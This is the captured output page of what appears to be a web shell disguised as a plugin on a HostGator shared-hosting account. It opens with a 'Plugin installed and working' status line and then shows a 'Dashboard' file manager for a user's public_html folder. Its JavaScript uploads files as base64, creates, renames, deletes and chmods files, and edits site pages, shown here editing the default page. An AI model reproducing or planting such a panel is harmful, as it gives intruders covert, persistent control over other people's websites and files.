{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-20 11:18:38"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2">home2</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78">pablod78</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html">public_html</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: default.html</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/home2/pablod78/public_html/default.html">
                    <textarea name="edit_content">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;pt-BR&quot;&gt;
	&lt;head&gt;
		&lt;meta charset=&quot;UTF-8&quot;&gt;
		&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;
		&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;
		&lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot;&gt;
		&lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt;
		&lt;title&gt;Bem-vindo a HostGator&lt;/title&gt;
		&lt;link rel=&quot;shortcut icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon.ico&quot;&gt;
		&lt;link rel=&quot;icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-32.png&quot; sizes=&quot;32x32&quot;&gt;
		&lt;link rel=&quot;icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-57.png&quot; sizes=&quot;57x57&quot;&gt;
		&lt;link rel=&quot;icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-76.png&quot; sizes=&quot;76x76&quot;&gt;
		&lt;link rel=&quot;icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-96.png&quot; sizes=&quot;96x96&quot;&gt;
		&lt;link rel=&quot;icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-128.png&quot; sizes=&quot;128x128&quot;&gt;
		&lt;link rel=&quot;shortcut icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-192.png&quot; sizes=&quot;192x192&quot;&gt;
		&lt;link rel=&quot;apple-touch-icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-120.png&quot; sizes=&quot;120x120&quot;&gt;
		&lt;link rel=&quot;apple-touch-icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-152.png&quot; sizes=&quot;152x152&quot;&gt;
		&lt;link rel=&quot;apple-touch-icon&quot; href=&quot;https://latam-files.hostgator.com/system/temporary-page/images/favicons/favicon-180.png&quot; sizes=&quot;180x180&quot;&gt;
		&lt;link href=&quot;https://latam-files.hostgator.com/system/temporary-page/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;
		&lt;link href=&quot;https://latam-files.hostgator.com/system/temporary-page/css/fonts.css&quot; rel=&quot;stylesheet&quot;&gt;
		&lt;link href=&quot;https://latam-files.hostgator.com/system/temporary-page/css/custom_default-page.css&quot; rel=&quot;stylesheet&quot;&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;section class=&quot;container space&quot;&gt;
			&lt;div class=&quot;center-block&quot;&gt;
				&lt;div class=&quot;row&quot;&gt;
					&lt;div class=&quot;col-xs-12&quot;&gt;
						&lt;div class=&quot;logo&quot;&gt;
							&lt;img width=&quot;200&quot; height=&quot;35&quot; src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/logo-hg.svg&quot; alt=&quot;Logo HostGator&quot;&gt;
						&lt;/div&gt;
					&lt;/div&gt;
				&lt;/div&gt;
				&lt;div class=&quot;row&quot;&gt;
					&lt;div class=&quot;content-box col-xs-12 col-md-6&quot;&gt;
						&lt;h1&gt;Que tal publicar seu site hoje mesmo?&lt;/h1&gt;
						&lt;p&gt;Falta pouco pra você colocar seu site no ar!&lt;/p&gt;
						&lt;p&gt;Siga o passo a passo abaixo para criar uma página temporária (Página Fácil), ativar o Criador de Sites, instalar o WordPress ou outra aplicação.&lt;/p&gt;
						&lt;ul class=&quot;first-steps&quot;&gt;
							&lt;li&gt;&lt;img src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/icon-pencil.svg&quot; alt=&quot;Como criar meu site&quot;&gt;&lt;a href=&quot;https://www.hostgator.com.br/como-publicar-seu-site&quot; target=&quot;_blank&quot;&gt;Como criar meu site&lt;/a&gt;&lt;/li&gt;
							&lt;li&gt;&lt;img src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/icon-easy-page.svg&quot; alt=&quot;Como ativar o Página Fácil&quot;&gt;&lt;a href=&quot;https://suporte.hostgator.com.br/hc/pt-br/articles/115003434353&quot; target=&quot;_blank&quot;&gt;Como ativar o Página Fácil&lt;/a&gt;&lt;/li&gt;
							&lt;li&gt;&lt;img src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/icon-magic-wand.svg&quot; alt=&quot;Como ativar o Criador de sites&quot;&gt;&lt;a href=&quot;https://suporte.hostgator.com.br/hc/pt-br/articles/115000847774&quot; target=&quot;_blank&quot;&gt;Como ativar o Criador de sites&lt;/a&gt;&lt;/li&gt;
							&lt;li&gt;&lt;img src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/icon-wordpress.svg&quot; alt=&quot;Como instalar o WordPress&quot;&gt;&lt;a href=&quot;https://suporte.hostgator.com.br/hc/pt-br/articles/115001935813&quot; target=&quot;_blank&quot;&gt;Como instalar o WordPress&lt;/a&gt;&lt;/li&gt;
						&lt;/ul&gt;
					&lt;/div&gt;
					&lt;div class=&quot;col-xs-12 col-md-6&quot;&gt;
						&lt;img class=&quot;icon-guide img-responsive&quot; src=&quot;https://latam-files.hostgator.com/system/temporary-page/images/icon-guide.svg&quot; alt=&quot;Primeiros Passos&quot;&gt;
					&lt;/div&gt;
				&lt;/div&gt;
				&lt;div class=&quot;row&quot;&gt;
					&lt;div class=&quot;col-xs-12&quot;&gt;
						&lt;h2&gt;Ficou alguma dúvida sobre como começar?&lt;/h2&gt;
						&lt;p class=&quot;steps-links&quot;&gt;&lt;a href=&quot;https://suporte.hostgator.com.br/hc/pt-br&quot; target=&quot;_blank&quot;&gt;Canais de Atendimento&lt;/a&gt;&lt;a href=&quot;https://financeiro.hostgator.com.br&quot; target=&quot;_blank&quot;&gt;Área do cliente&lt;/a&gt;&lt;a href=&quot;https://www.hostgator.com.br/blog&quot; target=&quot;_blank&quot;&gt;Blog&lt;/a&gt;&lt;a href=&quot;https://www.hostgator.com.br/blog/materiais-para-download&quot; target=&quot;_blank&quot;&gt;Materiais Educativos&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/user/HostGatorBRTV&quot; target=&quot;_blank&quot;&gt;Vídeos&lt;/a&gt;&lt;a href=&quot;https://lab.hostgator.com.br/hc/pt-br&quot; target=&quot;_blank&quot;&gt;Lab&lt;/a&gt;&lt;/p&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/section&gt;
	&lt;/body&gt;
&lt;/html&gt;</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/home2/pablod78/public_html';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>